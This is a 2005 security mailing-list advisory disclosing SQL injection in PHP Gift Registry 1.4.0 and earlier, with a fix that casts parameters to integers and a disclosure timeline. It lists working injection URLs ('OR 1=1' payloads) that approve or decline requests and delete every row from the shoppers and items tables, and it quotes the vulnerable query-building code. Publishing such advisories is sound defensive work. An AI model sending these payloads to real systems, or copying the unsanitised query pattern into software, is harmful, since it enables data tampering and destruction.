From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 17 Jan 2005 11:14:49 +0200
Subject: [UNIX] PHP Gift Registry SQL Injection
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050117100439.A05A157C3@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
PHP Gift Registry SQL Injection
------------------------------------------------------------------------
SUMMARY
The <http://phpgiftreg.sourceforge.net/> PHP Gift Registry is "a
web-enabled gift registry intended for use among a circle of family
members or friends".
phpGiftReq doesn't validate user provided parameters. This allows SQL
Injection and modification of data in the database.
DETAILS
Vulnerable Systems:
* phpGiftReq version 1.4.0 and prior
Acknowledge all messages:
http://[SERVER]/phpgiftreg/index.php?action=ack&messageid=2%20OR%201%3d1
Approve all pending requests:
http://[SERVER]/phpgiftreg/index.php?action=approve&shopper=1%20OR%201%3d1
Decline all pending requests:
http://[SERVER]/phpgiftreg/index.php?action=decline&shopper=1%20OR%201%3d1
Inserts current shopper for buying to user 3 without need for approval:
http://[SERVER]/phpgiftreg/index.php?action=request&shopfor=3%2c0%29%2c%2899%2c100
Delete all data from table shoppers:
http://[SERVER]/phpgiftreg/index.php?action=cancel&shopfor=3%20OR%201%3d1
Delete all data from table items:
http://[SERVER]/phpgiftreg/item.php?action=delete&itemid=3%20OR%201%3d1
Solution:
All parameters should be converted to integers before creating the query.
Example:
Substitute
if ($action == "ack") {
~ $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
$_GET["messageid"];
~ mysql_query($query) or die("Could not query: " . mysql_error());
}
With
if ($action == "ack") {
~ $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
((int) $_GET["messageid"]);
~ mysql_query($query) or die("Could not query: " . mysql_error());
}
Disclosure Timeline:
31/12/2004 - Vulnerability found
31/12/2004 - Vendor contacted
16/01/2005 - Vendor hasn't replied. Advisory released
ADDITIONAL INFORMATION
The information has been provided by <mailto:madelman@iname.com.>
Madelman.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.